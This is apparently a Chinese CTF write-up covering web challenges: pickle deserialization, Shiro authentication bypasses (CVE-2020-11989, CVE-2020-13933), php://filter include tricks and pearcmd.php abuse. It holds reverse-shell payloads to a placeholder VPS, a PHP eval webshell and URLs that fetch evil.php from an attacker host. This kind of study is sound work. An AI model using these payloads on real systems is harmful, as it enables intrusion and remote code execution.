web有3个都是有了包浆的原题……还有一点脑洞题,反正奇奇怪怪的
属于是被师傅们带飞了,所以详细的wp还是自己写一写,认真地复现一下
zerocalc
emmmmmm 说实话一开始没有出 因为没悟出来它这是个什么逻辑2333333
ezPickle
# 用pker.py生成payload
notadmin=GLOBAL('config','notadmin')
notadmin["admin"]="yes"
exec=GLOBAL('config','backdoor')
payload='''__import__('subprocess').call(\"echo -e '#!/bin/bash\\nsh -i >& /dev/tcp/you_vps_ip/port 0>&1'>x && bash x && rm -rf x\",shell=True)'''
exec(payload)
return
>>> data=b'cconfig\nnotadmin\np0\n0g0\nS\'admin\'\nS\'yes\'\nscconfig\nbackdoor\np2\n0S\'__import__(\\\'subprocess\\\').call("echo -e \\\'#!/bin/bash\\\\nsh -i >& /dev/tcp/you_vps_ip/port 0>&1\\\'>x && bash x && rm -rf x",shell=True)\'\np3\n0g2\n(g3\ntR.'
>>> print(base64.b64encode(data))
b'xxxxxxxxxx'
没什么好说的,基础的pickle题,是2021巅峰极客what_pickle的阉割版(构造的思路几乎一样 但是简单很多),几乎一样的题目还有 [SUCTF 2019]Guess Game
限制的点在于只允许引入题目自设模块&限制模块中含下划线,那就直接变量覆盖,然后利用给出的eval()
弹shell就好了
————另外这里的payload也可以是简短版本的弹sehll的payload 不唯一嘛
data = b'cconfig\nnotadmin\np0\n0g0\nS\'admin\'\nS\'yes\'\nscconfig\nbackdoor\np2\n0S\'__import__("os").system("bash -c \\\'exec bash -i &>/dev/tcp/you_vps_ip/port <&1\\\'")\'\np3\n0g2\n(g3\ntR.'
一个需要注意的点是由于这里的反序列化入口是get传参,所以遇到+号会出问题,传进去之前要先urlencode(encode all special chars)
————顺带练个手,搓一个不含b'R'
的opcode(用b'o'
代替)
data = b'''cconfig\nnotadmin\np0\n0g0\nS\'admin\'\nS\'yes\'\nscconfig\nbackdoor\np2\n0S\'__import__("os").system("bash -c \\\'exec bash -i &>/dev/tcp/you_vps_ip/port <&1\\\'")\'\np3\n0(g2\ng3\no.'''
传参的时候记得再urlencode一下~~~
————之前我的总结笔记已经相当全面了 可以出CTF教科书了233333
Jack-Shiro
属于是原题了属于是属于是属于是烤烂了已经,参见 [红明谷CTF 2021] JavaWeb | [天翼杯 2021] jackson | [NPUCTF2020] EzShiro (虽然我自己根本没发现 实在是做过的题太少了 java更是不会 我的
/login下有个登录,回显/json,返回的cookie有个rememberMe=deleteMe,可以知道是shiro
访问/json,后面会带一堆get请求的参数,用/;/json绕过(cve-2020-11989)
上工具JNDI-Injection-Exploit一把梭(问题出在我vps上没有java环境 端口转发又处了亿点点问题…… 所以没有带出来flag),是cve-2020-36188
哭哭
还有个工具是 LdapBypassJndi,差不多的;下面是跟一跟涉及到的几个链子
CVE-2020-11989
参考:Apache Shiro权限绕过漏洞分析(CVE-2020-11989) | Apache Shiro 身份验证绕过漏洞 (CVE-2020-11989)
Apache Shiro是一个常用的java安全框架,在1.5.3之前版本中当Shiro与Spring动态控制器一起使用时(Spring框架中只用Shiro鉴权),如果直接访问/shiro/admin/page会302跳转要求登录,而访问/;shiro/admin/page即可绕过权限验证,访问/admin的信息
本地环境搭建&复现
有带佬直接写好的docker可以直接pull拿来用
docker pull jackey0/cve-2020-11989
docker run -p 8426:8080 <image> /bin/sh -c 'java -jar /springboot-shiro-0.0.1-SNAPSHOT.jar'
docker pull jackey0/cve-2020-13933
// docker start <container-id>
或者下载l3yx/springboot-shiro项目到本地编译为war包(或者也有编译好的shiro.war)之后手动放入tomcat下的webapps目录下运行。显然docker太香了!!!!!
访问映射到外部的8426端口,环境搭建完毕
post方式请求/doLogin页面,看到cookie中含rememberMe=deleteMe,确定为shiro
访问/admin/page页面,302重定向至/login页面要求登录
访问/;/admin/page页面,绕过鉴权,回显admin page
源码分析&动调
先把jar包下载到在本地,导入idea
docker cp <container-id>:/springboot-shiro-0.0.1-SNAPSHOT.jar /home/name/t3mp/
使用idea远程对docker中部署的springboot项目进行debug
docker run -p 8426:8080 -p 8001:1456 3eefd8918689 /bin/sh -c 'java -jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=1456 /springboot-shiro-0.0.1-SNAPSHOT.jar'
Shiro的权限校验是通过判断url的匹配来进行的,如果Shiro获取的url和web框架处理的url结果不一致时就造成了权限绕过;Shiro对于url的获取和匹配在org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain
中进行。
以访问/;/admin/page为例,通过它的getPathWithinApplication()
得到的requestURI="/"
跟入此函数的处理逻辑org.apache.shiro.web.util.WebUtils#getPathWithinApplication
,进入getRequestUri()
我们可以看到在中间过程中uri="/;/admin/page",但是从上面我们可以知道经过normalize(decodeCleanUriString())
处理过后返回的requestRUI="/",跟入这个函数,它先是调用decodeRequestSrting()
,没有对结果产生什么影响,
而返回时的normalize()
会根据";“进行url的截断处理,最终返回”/"
回到开头的/;/admin/page请求,spring中处理url的函数在org.springframework.web.util.UrlPathHelper#getPathWithinServletMapping
它调用的是springframework中自己getPathWithinApplication()
,经过一番骚操作返回的是/admin/page
跟入getPathWitinApplication()
,先是调用getContextPath()
,返回"/"
然后是getRequestUri()
同样,在最终return之前的uri="/;/admin/page",经过了一个decodeAndCleanUriString()
,根据ch=59也就是";“符进行一个分割,使用removeSemicolonContentInternal()
于是”;“就不见了
然后返回”/admin/page"给getPathWithinApplication()
再传递给getPathWithinServletMapping()
最终我们访问到的页面就是"/admin/page"了
————总结一下就是当url在shiro和spring中的处理不一致,当进入应用时被认作是访问"/;/admin/page",不属于我们最初配置的"/admin/*“权限路由,而进入shiro后却被截断处理,认作是”/admin/page",属于权限路由中,最终做到权限绕过
CVE-2020-13933
由于11989的修补并不完全,导致又又又被绕过产生了13933……
本地环境搭建&复现
参考:shiro < 1.6.0的认证绕过漏洞分析(CVE-2020-13933)
还是采用docker形式复现(我爱docker)这里直接就是远程调试的启动命令啦,跟上面的一样配置就好了(
docker pull jackey0/cve-2020-13933
docker run -p 8426:8080 -p 8001:1456 3eefd8918689 /bin/sh -c 'java -jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=1456 /springboot-shiro-0.0.1-SNAPSHOT.jar'
访问/admin,报错页面且无302跳转;访问/login跳转到身份验证页面;访问/admin/%3bpage,无身份验证且返回admin page
原理分析&动调
还是导入jar包至idea,远程debug
直接看看shiro1.6.0的补丁补到了什么地方,在github上查看diff
增加了InvalidRequestFilter
类,有个isAccessAllowed()
函数,在全局上对分号、反斜杠、非ASCII码字符进行了过滤
以访问/admin/%3bpage为例,url先由shiro解析,还是org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain
,依旧是调用getPathWithinApplication()
,执行后requestURI="/admin/"
而之后进入springboot处理时,却变成了"/admin/;page"
再回到最初跟一下具体的调用链
在removeSemicolon()
处理前,uri="/admin/;page"(经decodeAndUriString()
解码了)
处理后path="/admin",接着调用normalize()
函数变成"/admin",传递给最初的getChain()
中的requestURI参数
之后被spring处理org.springframework.web.util.UrlPathHelper#getPathWithinServletMapping
,其中会调用getRequestUri()
,它会再次调用decodeAndCleanUriString()
先removeSemicolonContent()
再decodeRequestString()
,那显然是怎么都去不掉";“了,将”;page"看作一个整体
我们回过头去看这次的权限设置是怎么匹配url的,定位到org.syclover.srpingbootshiro.LoginController
和org.syclover.srpingbootshiro.ShiroConfig#shiroFilterFactoryBean
可以看到,对于"/admin/*“需要鉴权,"/admin/{name}“返回admin page,而对于”/admin/“却没有设置权限
从上面的调试中我们知道shiro得到的是”/admin/"(先decode再去除”;"),被认作可以访问;而spring得到的是"/admin/;page")先去除";“再decode),与”/admin/{name}“的样式匹配,最后返回admin page (简直太完美了也
*临时修复
(本地暂时还未复现
map.put("/admin/**", "authc");
@GetMapping({"/admin/page"})
public String admin() {
return "admin page";
}
***CVE-2020-36188
ch.qos.logback.core.db.JNDIConnectionSource
可以参考 https://www.moonback.xyz/2020/01/16/buuctf%E5%88%B7%E9%A2%98-Java%E7%AF%87/#NPUCTF2020-EzShiro,工具 LdapBypassJndi | JNDI-Injection-Exploit
————由于我的java水平实在够呛,这里暂时先空着,等我学一学java 之后必定回来鞭尸
EasyFilter
<?php
ini_set("open_basedir","./");
if(!isset($_GET['action'])){
highlight_file(__FILE__);
die();
}
if($_GET['action'] == 'w'){
@mkdir("./files/");
$content = $_GET['c'];
$file = bin2hex(random_bytes(5));
file_put_contents("./files/".$file,base64_encode($content));
echo "./files/".$file;
}elseif($_GET['action'] == 'r'){
$r = $_GET['r'];
$file = "./files/".$r;
include("php://filter/resource=$file");
}
/?action=w&c=<?php @eval($_POST['wuhu']);?>
/?action=r&r=php://filter/read=convert.base64-decode/resource=/../../../../../files/f8b3731ac9
POST: wuhu=phpinfo();
对于payload的底层代码分析
原理分析来自Guoke佬 我只是个会复现的铁沸物……
首先下一份7.2.34的源码
定位到包装器所在的文件位置/ext/standard/php_fopen_wrapper.c,178行起是php_stream_url_wrap_php()的代码
191行,先碰到php://
会执行path += 6
;之后接着349行会碰到filter/
没有mode,此时
path=filter/resource=./files/php://filter/read=convert.base64-decode/resource=/../../../../../1.txt
357行执行strdup(),把path第6位之后的内容赋给pathdup指针上
pathdup=/resource=./files/php://filter/read=convert.base64-decode/resource=/../../../../../1.txt
358行strstr()返回pathdup的指针中/resource=出现的位置,到365行的判断
p+10=./files/php://filter/read=convert.base64-decode/resource=/../../../../../1.txt
372行的php_strtok_r()对pathdup+1的位置以’/‘为标志进行分割
p=/resource=./files/php://filter/read=convert.base64-decode/resource=/../../../../../1.txt
得到resource=,进373行的while循环,先是到378行的php_stream_apply_filter_list(),转至159行
将p作为过滤器进行注册,161行php_stream_filter_append()应用到文件流上,但显然resource不是流包装器,干不了事,那就再到while循环里接着向后找,直到向后碰到read
p=/read=convert.base64-decode/resource=/../../../../../1.txt
进入374行,执行php_stream_apply_filter_list之后就变成了
p=convert.base64-decode/resource=/../../../../../1.txt
此时的p=convert.base64-decode,就可以正常的b64解码我们的内容了
再回头看这个题
代码很短,限制在于写入的文件内容被b64加密&open_basedir&include已经写好的包装器和一部分固定的内容
我刚开始卡在了已经写死的包装器的开头还怎么加conver.base64-decode?然后发现是我想多了,可以接着套,底层原理见上,会向后循环取值直到碰到一个正常的流包装器
第二个问题就是目录穿越了,前面加了5层buff,从结果倒推感觉可以理解,但是自己却没试出来,我的问题
最后open_basedir的绕过反而是最轻松的,蚁剑插件直接搞
参考:深入理解PHP之require/include顺序 | Exploit with PHP Protocols / Wrappers | 谈一谈php://filter的妙用
new_hospital
响应cookie会有个API
将API设为flag.php ZmxhZy5waHA%3d
扫目录 得到/old/feature.php 将路径改为这个
将API改为../flag.php Li4vZmxhZy5waHA%3d
————其实如果先扫目录扫到/old/feature.php的话,可以将API设为./feature.php Li9mZWF0dXJlLnBocA%3d%3d
读到这一段
后端的逻辑就是将cookie[‘api’]取出,直接读出内容
有一点点脑洞,也跟眼力见有关系,我一开始是真没注意到这个cookie的API字段,属实是有点大病;之后做题还是要开环境之后就连burp,注意观察响应头的特殊字段 cookie的类型/ctrl+u的源码/可能会有的控制台的提示信息/robots.txt这些东西,不要遗漏,不然就很可惜了
Give_me_you_0day
这里考察的点并不是Typecho 1.1/17.10.30版本的0day(给出的源码就完全是github上的发行版),而是install.php中 608行存在一个文件包含
利用这个文件包含的点来搞,payload可以直接参考[RCTF 2021] VerySafe
打的点在于peclcmd,这里涉及到的题和知识害挺多,之前真没见过(dbq是我做的题太少太少了),在这里一并学习了
关于register_argc_argv
配置项
是php.ini核心配置中的一个选项,默认是这样
手册是这样写的
从php=4.0.0后为可设置的选项(此前总为On)默认为开启状态,当php<=4.2.3时可修改范围是PHP_INI_ALL
,更详细的内容可以参见->PHP的命令行模式
在register_argc_argv
开启的情况下,cgi和cli模式下都可以直接访问到传入的参数;其中argc是传递过去的参数的个数,argv是包含有实际参数的数组;cli模式测试如下
<?php
var_dump($_SERVER['argv']);
// var_dump($HTTP_SERVER_VARS['argv']);
var_dump($argv);
cgi的话,直接用上面的$_SERVER['argv']
是不会获取到值
直接查看$_SERVER这个大数组,可以发现我们的参数在这里是以一整个QUERY_STRING的形式出现的(详细的数组解析->PHP超全局变量$_SERVER的用法)
有个特殊的trick在于,如果是
/test.php?a=1&b=1
确实是两个参数,但返回的$_SERVER[‘argv’]为1,如果是
/test.php?a=1+b=1
则会被截断,返回$_SERVER[‘argv’]则为2(说实话我本地真没跑出来这个 可能是哪里的配置有问题?但是看了很多资料,这里应该是可以被复现成功的………………emmmm 有一点点离谱)
关于pear
命令
pear是the PHP Extention and Application Repository的缩写,是一个PHP扩展与应用的代码仓库,pear仓库代码以包package分区,每一个pear package都是一个独立的项目,有自己独立的开发团队、版本控制、文档和其他包的依赖关系信息;pear package以phar, tar, zip形式发布,通过apt install php-pear
来安装
pear命令的实现是一个sh脚本
#!/bin/sh
# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
PHP="$PHP_PEAR_PHP_BIN"
else
if test "/usr/local/bin/php" = '@'php_bin'@'; then
PHP=php
else
PHP="/usr/local/bin/php"
fi
fi
# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
INCDIR=$PHP_PEAR_INSTALL_DIR
INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
if test "/usr/local/lib/php" = '@'php_dir'@'; then
INCDIR=`dirname $0`
INCARG=""
else
INCDIR="/usr/local/lib/php"
INCARG="-d include_path=/usr/local/lib/php"
fi
fi
exec $PHP -C -q $INCARG -d data.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"
从最后一行可以看到调用了/pearcmd.php,而这个pearcmd.php的参数$argv就来源于$_SERVER[‘argv’],这个是我们可控的传入参数
利用pear
命令执行任意文件下载
如图,直接下载开启了http服务器的目录下的指定文件到当前所在目录
使用install -R
而非download
可以控制下载到任意目录,比如直接下载到web服务的目录
所以总体思路+payload
如果存在这样的环境
- 安装pear
- 开启register_argc_argv
- 存在可控的传入参数来做到文件包含(比如
include $_GET['f'].php
) - 可以出网
我们就可以做到任意文件下载从而getshell;前面也提到register_argc_argv继续PHP_IN_PREDIR,我们可以留一个.user.ini的后门来设置register_argc_agrv为On
payload就是这样了
// 存在 include $_GET['f'].php
// web目录可写
- http://ip:port/include.php?f=/../../../../../../../../../../usr/local/lib/php/pearcmd&+install+-R+/var/www/html+http://ip:port/evil.php
- http://ip:port/tmp/pear/download/evil.php
// tmp目录可写
- http://ip:port/include.php?f=/../../../../../../../../../../usr/local/lib/php/pearcmd&+install+-R+/tmp+http://ip:port/evil.php
- http://ip:port/include.php?f=/tmp/pear/download/evil
首先要包含一个正确位置的pearcmd.php(通常在/usr/local/lib/php/pearcmd.php),接着包含&+download+http://your_vps/eval.php(或者如果前面直接是/pearcmd.php的话就可以直接给参数了/pearcmd.php+download+http://your_vps/eval.php)来装🐎(注意路径是否正确),之后再包含我们的🐎即可
其它的例题
还是做的题不够多,已有的知识也应用的不够熟练,实在是太太太太太菜了,得好好学,不能天天划水摸鱼